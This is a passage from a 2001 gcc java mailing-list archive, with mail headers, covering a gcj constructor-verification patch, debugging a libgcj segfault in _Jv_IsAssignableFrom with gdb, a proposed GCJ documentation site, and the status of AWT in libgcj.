java-return-6437-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 09:12:50 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 32702 invoked by alias); 12 Jul 2001 09:12:49 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 32668 invoked from network); 12 Jul 2001 09:12:42 -0000 Received: from unknown (HELO snfc21.pbi.net) (206.13.28.241) by sourceware.cygnus.com with SMTP; 12 Jul 2001 09:12:42 -0000 Received: from krypton ([206.170.6.106]) by mta5.snfc21.pbi.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with SMTP id <0GGC009K5S93RP@mta5.snfc21.pbi.net> for java@gcc.gnu.org; Thu, 12 Jul 2001 02:12:40 -0700 (PDT) Date: Thu, 12 Jul 2001 02:11:41 -0700 From: David Brownell Subject: Re: more gcj 3.0 fun -- catch { try {...}...}, encodings To: apbianco@cygnus.com, java@gcc.gnu.org Message-id: <1db501c10ab2$aa55f120$6800000a@brownell.org> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook Express 5.50.4133.2400 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT X-Priority: 3 X-MSMail-priority: Normal References: <01a301c0fde8$780afd40$6800000a@brownell.org> <15181.22652.561683.211589@fencer.cygnus.com> > I was able to reproduce the problem ... Good! I wish I'd been able to create a smaller testcase for you though. > I also fixed the problem that prevented xmlconf from been built from > source (there's patch already on java/3285 that I'll be checking in > soon.) Oooh, I want it! Didn't see it on java-patches (archive) yet though. That was indeed the same bug, I take it? > With CLASSPATH pointing to a javax.servlet implementation (I > used Jakarta's) we're down to three rather innocuous errors: All that "xml.vendor" stuff is gone from the ClasspathX version. No need for it any more. > So maybe the build from source approach could be revisited... I'd love to see the ClasspathX version build with GCJ from source. For now I'm planning to leave the "xmlconf" version as-is. - Dave From java-return-6438-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 09:26:16 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 5332 invoked by alias); 12 Jul 2001 09:26:16 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 5312 invoked from network); 12 Jul 2001 09:26:15 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 12 Jul 2001 09:26:15 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id CAA22061; Thu, 12 Jul 2001 02:26:15 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id CAA25683; Thu, 12 Jul 2001 02:26:15 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15181.27959.432890.707618@fencer.cygnus.com> Date: Thu, 12 Jul 2001 02:26:15 -0700 (PDT) To: David Brownell Cc: java@gcc.gnu.org Subject: Re: more gcj 3.0 fun -- catch { try {...}...}, encodings In-Reply-To: <1db501c10ab2$aa55f120$6800000a@brownell.org> References: <01a301c0fde8$780afd40$6800000a@brownell.org> <15181.22652.561683.211589@fencer.cygnus.com> <1db501c10ab2$aa55f120$6800000a@brownell.org> X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: This MUST be a good party -- My RIB CAGE is being painfully pressed up against someone's MARTINI!! David Brownell writes: > Oooh, I want it! Didn't see it on java-patches (archive) yet > though. That was indeed the same bug, I take it? I'm still testing it. It's in GNATS. > All that "xml.vendor" stuff is gone from the ClasspathX version. > No need for it any more. Good. ./A 2001-07-11 Alexandre Petit-Bianco * parse.y (verify_constructor_super): Compare anonymous class ctor args with `valid_method_invocation_conversion_p.' Index: parse.y =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/parse.y,v retrieving revision 1.294 diff -u -p -r1.294 parse.y --- parse.y 2001/07/11 07:33:43 1.294 +++ parse.y 2001/07/12 05:56:02 @@ -8656,7 +8656,9 @@ verify_constructor_super (mdecl) && m_arg_type != end_params_node); arg_type = TREE_CHAIN (arg_type), m_arg_type = TREE_CHAIN (m_arg_type)) - if (TREE_VALUE (arg_type) != TREE_VALUE (m_arg_type)) + if (!valid_method_invocation_conversion_p + (TREE_VALUE (arg_type), + TREE_VALUE (m_arg_type))) break; if (arg_type == end_params_node && m_arg_type == end_params_node) From java-return-6439-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 11:49:02 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 17014 invoked by alias); 12 Jul 2001 11:48:59 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 16965 invoked from network); 12 Jul 2001 11:48:57 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by sourceware.cygnus.com with SMTP; 12 Jul 2001 11:48:57 -0000 Received: from mark by nescio.wildebeest.org with local (Exim 3.22 #1 (Debian)) id 15Kexg-0001sl-00; Thu, 12 Jul 2001 13:48:52 +0200 Date: Thu, 12 Jul 2001 13:48:51 +0200 From: Mark Wielaard To: Martin Kahlert Cc: java@gcc.gnu.org, tromey@redhat.com Subject: Re: Some questions Message-ID: <20010712134851.E6790@klomp.org> References: <20010712102137.A6000@keksy.muc.infineon.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20010712102137.A6000@keksy.muc.infineon.com> User-Agent: Mutt/1.3.18i Hi, On Thu, Jul 12, 2001 at 10:21:37AM +0200, Martin Kahlert wrote: > > Another strange thing is this: > In the past i found some errors by running my prog with Electric Fence, > but now, that doesn't work any more: It seems to loop forever. > [...] > The uppermost part is > (gdb) where > #0 0x4016db39 in _Jv_IsAssignableFrom(java::lang::Class*, java::lang::Class*) > (target=0x83fb9a0, source=0x8604fb8) at ../../../libjava/java/lang/natClass.cc:958 > #1 0x4016dc0a in _Jv_IsInstanceOf (obj=0x861efe0, cl=0x83fb9a0) at ../../../libjava/java/lang/natClass.cc:993 > #2 0x4015d81e in __gcj_personality_v0 (version=1, actions=1, > exception_class=5138137972373280321, ue_header=0x8738320, > context=0xbf78299c) at ../../../libjava/exception.cc:348 > #3 0x4002734b in _Unwind_RaiseException (exc=0x8738320) at ../../gcc/unwind-dw2.c:981 > #4 0x4015d169 in _Jv_Throw (value=0x861efe0) at ../../../libjava/exception.cc:104 > #5 0x40153624 in _Jv_ThrowSignal () at ../../../libjava/prims.cc:113 > #6 0x40153652 in catch_segv(int) () at ../../../libjava/prims.cc:122 > #7 > #8 0x4016db3b in _Jv_IsAssignableFrom(java::lang::Class*, > java::lang::Class*) (target=0x83fb9a0, source=0x8604fb8) > at ../../../libjava/java/lang/natClass.cc:958 > #9 0x4016dc0a in _Jv_IsInstanceOf (obj=0x861efe0, cl=0x83fb9a0) at ../../../libjava/java/lang/natClass.cc:993 > #10 0x4015d81e in __gcj_personality_v0 (version=1, actions=1, > exception_class=5138137972373280321, ue_header=0x8738360, > context=0xbf782d94) at ../../../libjava/exception.cc:348 > #11 0x4002734b in _Unwind_RaiseException (exc=0x8738360) at ../../gcc/unwind-dw2.c:981 > #12 0x4015d169 in _Jv_Throw (value=0x861efe0) at ../../../libjava/exception.cc:104 > #13 0x40153624 in _Jv_ThrowSignal () at ../../../libjava/prims.cc:113 > #14 0x40153652 in catch_segv(int) () at ../../../libjava/prims.cc:122 > #15 #16 0x4016db3b in _Jv_IsAssignableFrom(java::lang::Class*, > java::lang::Class*) (target=0x83fb9a0, source=0x8604fb8) > at ../../../libjava/java/lang/natClass.cc:958 > #17 0x4016dc0a in _Jv_IsInstanceOf (obj=0x861efe0, cl=0x83fb9a0) at > ../../../libjava/java/lang/natClass.cc:993 #18 0x4015d81e in __gcj_personality_v0 (version=1, > actions=1, exception_class=5138137972373280321, ue_header=0x87383a0, context=0xbf78318c) > at ../../../libjava/exception.cc:348 > #19 0x4002734b in _Unwind_RaiseException (exc=0x87383a0) at ../../gcc/unwind-dw2.c:981 > #20 0x4015d169 in _Jv_Throw (value=0x861efe0) at ../../../libjava/exception.cc:104 This looks a bit like the bug discussed in Maybe the patch in those emails helps? Note that I don't know exactly why it fixes the problem in that case and nobody else seems to have looked at it. > How do you guys debug? Where do i have to set a breakpoint and in which > thread? Yeah, I would also like to have a (lib)gcj debugging guide. Cheers, Mark -- Stuff to read: What's Wrong with Copy Protection, by John Gilmore From java-return-6440-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 12:04:51 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 22735 invoked by alias); 12 Jul 2001 12:04:48 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 22700 invoked from network); 12 Jul 2001 12:04:42 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 12 Jul 2001 12:04:42 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id DB229ABB01; Thu, 12 Jul 2001 13:04:41 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f6CC4Bl29987; Thu, 12 Jul 2001 13:04:11 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15181.37435.768851.506346@cuddles.cambridge.redhat.com> Date: Thu, 12 Jul 2001 13:04:11 +0100 (BST) To: Mark Wielaard Cc: Martin Kahlert , java@gcc.gnu.org, tromey@redhat.com Subject: Re: Some questions In-Reply-To: <20010712134851.E6790@klomp.org> References: <20010712102137.A6000@keksy.muc.infineon.com> <20010712134851.E6790@klomp.org> X-Mailer: VM 6.75 under Emacs 20.7.1 Mark Wielaard writes: > This looks a bit like the bug discussed in > > > > Maybe the patch in those emails helps? > Note that I don't know exactly why it fixes the problem in that case > and nobody else seems to have looked at it. I don't think that the patch can be correct. We need to find out why _Jv_FindClass returns null in this case. I've never seen this happen. > > > How do you guys debug? Where do i have to set a breakpoint and in which > > thread? I don't understand the issue here. Surely all that is required is to add a line like if (catch_type = NULL) printf ("BANG\n"); and use gdb to put a breakpoint on that line. Are you not familiar with gdb? Andrew. From java-return-6441-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 12:24:56 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 32007 invoked by alias); 12 Jul 2001 12:24:52 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 31985 invoked from network); 12 Jul 2001 12:24:52 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by sourceware.cygnus.com with SMTP; 12 Jul 2001 12:24:52 -0000 Received: from mark by nescio.wildebeest.org with local (Exim 3.22 #1 (Debian)) id 15KfW3-0001wi-00; Thu, 12 Jul 2001 14:24:23 +0200 Date: Thu, 12 Jul 2001 14:24:23 +0200 From: Mark Wielaard To: Andrew Haley Cc: java@gcc.gnu.org Subject: Re: Some questions Message-ID: <20010712142423.C7282@klomp.org> References: <20010712102137.A6000@keksy.muc.infineon.com> <20010712134851.E6790@klomp.org> <15181.37435.768851.506346@cuddles.cambridge.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <15181.37435.768851.506346@cuddles.cambridge.redhat.com> User-Agent: Mutt/1.3.18i Hi, On Thu, Jul 12, 2001 at 01:04:11PM +0100, Andrew Haley wrote: > Mark Wielaard writes: > > This looks a bit like the bug discussed in > > > > > > > > Maybe the patch in those emails helps? > > > Note that I don't know exactly why it fixes the problem in that case > > and nobody else seems to have looked at it. > > I don't think that the patch can be correct. We need to find out why > _Jv_FindClass returns null in this case. I've never seen this happen. The second email give a way to reproduce it. But the test case described there is much to big to be practical. > > > How do you guys debug? Where do i have to set a breakpoint and in which > > > thread? > > I don't understand the issue here. Surely all that is required is to > add a line like > > if (catch_type = NULL) > printf ("BANG\n"); > > and use gdb to put a breakpoint on that line. Are you not familiar > with gdb? The issue here is indeed my unfamiliarity with gdb combined with the huge test senario described above. If someone could describe a walkthrough on how to (begin) debugging something like this that would be greatly appreciated. To be honest I always find working on/with (lib)gcj a bit intimidating since the build process alone takes up 45 minutes on my machine (yes I should buy something faster if I have the money :) And coming from a java background (and some Haskell and other modern functional/logic languages) the combination of C/C++/automake/libtool etc is really confusing. I am willing to learn, but this will take some time :) Cheers, Mark -- Stuff to read: What's Wrong with Copy Protection, by John Gilmore From java-return-6442-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 12:32:46 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 1758 invoked by alias); 12 Jul 2001 12:32:46 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 1685 invoked from network); 12 Jul 2001 12:32:39 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 12 Jul 2001 12:32:39 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 0DEA7ABB01; Thu, 12 Jul 2001 13:32:36 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f6CCWaL30730; Thu, 12 Jul 2001 13:32:36 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15181.39139.971990.543490@cuddles.cambridge.redhat.com> Date: Thu, 12 Jul 2001 13:32:35 +0100 (BST) To: Mark Wielaard Cc: java@gcc.gnu.org Subject: Re: Some questions In-Reply-To: <20010712142423.C7282@klomp.org> References: <20010712102137.A6000@keksy.muc.infineon.com> <20010712134851.E6790@klomp.org> <15181.37435.768851.506346@cuddles.cambridge.redhat.com> <20010712142423.C7282@klomp.org> X-Mailer: VM 6.75 under Emacs 20.7.1 Mark Wielaard writes: > Hi, > > On Thu, Jul 12, 2001 at 01:04:11PM +0100, Andrew Haley wrote: > > Mark Wielaard writes: > > > This looks a bit like the bug discussed in > > > > > > > > > > > > Maybe the patch in those emails helps? > > > > > Note that I don't know exactly why it fixes the problem in that case > > > and nobody else seems to have looked at it. > > > > I don't think that the patch can be correct. We need to find out why > > _Jv_FindClass returns null in this case. I've never seen this happen. > The second email give a way to reproduce it. But the test case described > there is much to big to be practical. Oh yes, you're perfectly correct here. Sorry. > > > > How do you guys debug? Where do i have to set a breakpoint and in which > > > > thread? > > > > I don't understand the issue here. Surely all that is required is to > > add a line like > > > > if (catch_type = NULL) > > printf ("BANG\n"); > > > > and use gdb to put a breakpoint on that line. Are you not familiar > > with gdb? > The issue here is indeed my unfamiliarity with gdb combined with > the huge test senario described above. If someone could describe a > walkthrough on how to (begin) debugging something like this that > would be greatly appreciated. Well, debugging exception handling code is hard, even for someone very experienced. > To be honest I always find working on/with (lib)gcj a bit > intimidating since the build process alone takes up 45 minutes on > my machine (yes I should buy something faster if I have the money > :) And coming from a java background (and some Haskell and other > modern functional/logic languages) the combination of > C/C++/automake/libtool etc is really confusing. > > I am willing to learn, but this will take some time :) Okay. I'd suggest at least working through the sample gdb session described in 'info gdb'. Then, once you have some familiarity with gdb, we'll talk some more. Andrew. From java-return-6443-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 12:34:28 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 3041 invoked by alias); 12 Jul 2001 12:34:28 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 3019 invoked from network); 12 Jul 2001 12:34:27 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 12 Jul 2001 12:34:27 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15Kffd-0006bz-00 for ; Thu, 12 Jul 2001 13:34:17 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Thu, 12 Jul 2001 13:36:15 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Thu, 12 Jul 2001 13:29:48 +0100 From: "Nic Ferrier" To: aph@cambridge.redhat.com, mark@klomp.org Cc: java@gcc.gnu.org Subject: Re: Some questions Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline >>> Mark Wielaard 12-Jul-01 1:24:23 PM >>> To be honest I always find working on/with (lib)gcj a bit intimidating since the build process alone takes up 45 minutes on my machine (yes I should buy something faster if I have the money :) And coming from a java background (and some Haskell and other modern functional/logic languages) the combination of C/C++/automake/libtool etc is really confusing. I agree that it is intimidating. I am trying to write a small article-like document every time I find out something (even things like how to build GCJ). A collection of these arricles will be published on a website I'm setting up for GNU techical info. I hope eventually to cover everything, including debugging. If you find something out that you think might be useful to other GCJ newbies then drop me a quick mail about it and I'll try and turn the info into an article (alternately write me an article!). I'll be ready to publish the website (called: GNU Hacker) towards the end of next month. If you want a quick look at some of the incomplete stuff that is there already then you can check out: http://tf1.tapsellferrier.co.uk:7171/ that's a very slow link and a very slow machine and a very Paperclips (lots of debugging turned on) web server. The webserver might be down a lot because it's just my test system. Nic From java-return-6444-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 13:31:34 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 3786 invoked by alias); 12 Jul 2001 13:31:32 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 3764 invoked from network); 12 Jul 2001 13:31:30 -0000 Received: from unknown (HELO david.siemens.de) (192.35.17.14) by sourceware.cygnus.com with SMTP; 12 Jul 2001 13:31:30 -0000 X-Envelope-Sender-Is: martin.kahlert@infineon.com (at relayer david.siemens.de) Received: from mail2.siemens.de (mail2.siemens.de [139.25.208.11]) by david.siemens.de (8.11.0/8.11.0) with ESMTP id f6CDVSc29459 for ; Thu, 12 Jul 2001 15:31:28 +0200 (MET DST) Received: from mail-l.muc.infineon.com (mail-l.muc.infineon.com [172.29.174.210]) by mail2.siemens.de (8.11.4/8.11.4) with ESMTP id f6CDVRf06869 for ; Thu, 12 Jul 2001 15:31:27 +0200 (MET DST) Received: from keksy.muc.infineon.com (keksy [172.29.174.218]) by mail-l.muc.infineon.com with ESMTP id f6CDVRP01053 for ; Thu, 12 Jul 2001 15:31:27 +0200 (MET DST) Received: (from kahlert@localhost) by keksy.muc.infineon.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id PAA03453 for java@gcc.gnu.org; Thu, 12 Jul 2001 15:31:26 +0200 Date: Thu, 12 Jul 2001 15:31:26 +0200 From: Martin Kahlert To: java@gcc.gnu.org Subject: What classes have depth==0? Message-ID: <20010712153126.A32659@keksy.muc.infineon.com> Reply-To: martin.kahlert@infineon.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Hi! I have the problem, that inside java/lang/natClass.cc (function _Jv_IsAssignableFrom) i get at the very last if an SEGV whith my app: I end up with ancestors = 0x41cfafec, source->depth = 5 target->depth = 0 If i get here, target is no - array, - Interface - primitive - ObjectClass So what the heck is it? The error shows up when compiling a very huge application with libefence. gdb (5.0) claims, that the function was called by java::lang::String::concat inside natString.cc, but the line is the start of the routine (in fact it only contains a {). Any ideas??? Thanks, Martin. -- The early bird catches the worm. If you want something else for breakfast, get up later. From java-return-6445-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 13:49:42 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 12835 invoked by alias); 12 Jul 2001 13:49:41 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 12793 invoked from network); 12 Jul 2001 13:49:39 -0000 Received: from unknown (HELO goliath.siemens.de) (194.138.37.131) by sourceware.cygnus.com with SMTP; 12 Jul 2001 13:49:39 -0000 X-Envelope-Sender-Is: martin.kahlert@infineon.com (at relayer goliath.siemens.de) Received: from mail1.siemens.de (mail1.siemens.de [139.23.33.14]) by goliath.siemens.de (8.11.1/8.11.1) with ESMTP id f6CDnYb04344 for ; Thu, 12 Jul 2001 15:49:34 +0200 (MET DST) Received: from mail-l.muc.infineon.com (mail-l.muc.infineon.com [172.29.174.210]) by mail1.siemens.de (8.11.4/8.11.4) with ESMTP id f6CDnYG15318 for ; Thu, 12 Jul 2001 15:49:34 +0200 (MET DST) Received: from keksy.muc.infineon.com (keksy [172.29.174.218]) by mail-l.muc.infineon.com with ESMTP id f6CDnXP01072 for ; Thu, 12 Jul 2001 15:49:33 +0200 (MET DST) Received: (from kahlert@localhost) by keksy.muc.infineon.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id PAA03677 for java@gcc.gnu.org; Thu, 12 Jul 2001 15:49:33 +0200 Date: Thu, 12 Jul 2001 15:49:33 +0200 From: Martin Kahlert To: java@gcc.gnu.org Subject: RE: What classes have depth==0? (More info) Message-ID: <20010712154932.A3674@keksy.muc.infineon.com> Reply-To: martin.kahlert@infineon.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Hi! I digged a bit deeper. The call comes from something like this: if( x instanceof MyClass ) .... where MyClass is an abstract class derived from another class. Perhaps, that could help? Thanks, Martin. -- The early bird catches the worm. If you want something else for breakfast, get up later. From java-return-6446-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 14:48:52 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 14969 invoked by alias); 12 Jul 2001 14:48:52 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 14884 invoked from network); 12 Jul 2001 14:48:50 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 12 Jul 2001 14:48:50 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id MAA01959; Thu, 12 Jul 2001 12:22:51 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Thu, 12 Jul 2001 12:22:51 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Martin Kahlert cc: java@gcc.gnu.org Subject: Re: What classes have depth==0? In-Reply-To: <20010712153126.A32659@keksy.muc.infineon.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 12 Jul 2001, Martin Kahlert wrote: > gdb (5.0) claims, that the function was called by java::lang::String::concat > inside natString.cc, but the line is the start of the routine > (in fact it only contains a {). I often find it necesary to rebuild libgcj with just "-O -g" for debugging. That prevents inlining and code scheduling, making the flow considerably easier to follow. Jeff From java-return-6447-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 17:10:31 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 14452 invoked by alias); 12 Jul 2001 17:10:30 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 14430 invoked from network); 12 Jul 2001 17:10:29 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by sourceware.cygnus.com with SMTP; 12 Jul 2001 17:10:29 -0000 Received: from mark by nescio.wildebeest.org with local (Exim 3.22 #1 (Debian)) id 15Kjyd-0002R9-00; Thu, 12 Jul 2001 19:10:11 +0200 Date: Thu, 12 Jul 2001 19:10:11 +0200 From: Mark Wielaard To: Nic Ferrier Cc: java@gcc.gnu.org Subject: Re: Some questions Message-ID: <20010712191011.B9199@klomp.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.18i Hi, On Thu, Jul 12, 2001 at 01:29:48PM +0100, Nic Ferrier wrote: > > I am trying to write a small article-like document every time I find > out something (even things like how to build GCJ). > > A collection of these arricles will be published on a website I'm > setting up for GNU techical info. I hope eventually to cover > everything, including debugging. > > If you find something out that you think might be useful to other GCJ > newbies then drop me a quick mail about it and I'll try and turn the > info into an article (alternately write me an article!). I put some of the things that I had to figure out in the HACKING file in the libjava directory. > I'll be ready to publish the website (called: GNU Hacker) towards the > end of next month. If you want a quick look at some of the incomplete > stuff that is there already then you can check out: > > http://tf1.tapsellferrier.co.uk:7171/ Nice. Thanks for doing this Nic. Cheers, Mark -- Stuff to read: What's Wrong with Copy Protection, by John Gilmore From java-return-6448-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 19:47:44 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 16256 invoked by alias); 12 Jul 2001 19:47:44 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 16214 invoked from network); 12 Jul 2001 19:47:42 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 12 Jul 2001 19:47:42 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f6CJoc005755; Thu, 12 Jul 2001 12:50:38 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: java-discuss@sources.redhat.com Subject: what is the state of awt in lingcj? From: Per Bothner Date: 12 Jul 2001 12:50:38 -0700 Message-ID: Lines: 9 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii What is the status of the awt and gtk code in libgcj? Does someone have some examples of applications that run? Do events work? Is anybody working on this code? If not, I wondering whether I need to make a stab on it. It would be better if someone more familiar with the code were to work on it, of course. -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6449-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 23:16:07 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 18071 invoked by alias); 12 Jul 2001 23:16:06 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 17993 invoked from network); 12 Jul 2001 23:16:01 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 12 Jul 2001 23:16:01 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA15830; Thu, 12 Jul 2001 17:15:58 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id RAA28268; Thu, 12 Jul 2001 17:39:10 -0600 To: Per Bothner Cc: java-discuss@sources.redhat.com Subject: Re: what is the state of awt in lingcj? References: X-Zippy: The PINK SOCKS were ORIGINALLY from 1952!! But they went to MARS around 1953!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 12 Jul 2001 17:39:09 -0600 In-Reply-To: Per Bothner's message of "12 Jul 2001 12:50:38 -0700" Message-ID: <87lmltd8f6.fsf@creche.redhat.com> Lines: 27 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Per" == Per Bothner writes: Per> What is the status of the awt and gtk code in libgcj? Does Per> someone have some examples of applications that run? Do events Per> work? I think Bryce managed to get a window up at one point. A lot of code exists. I think most of the JDK 1.0 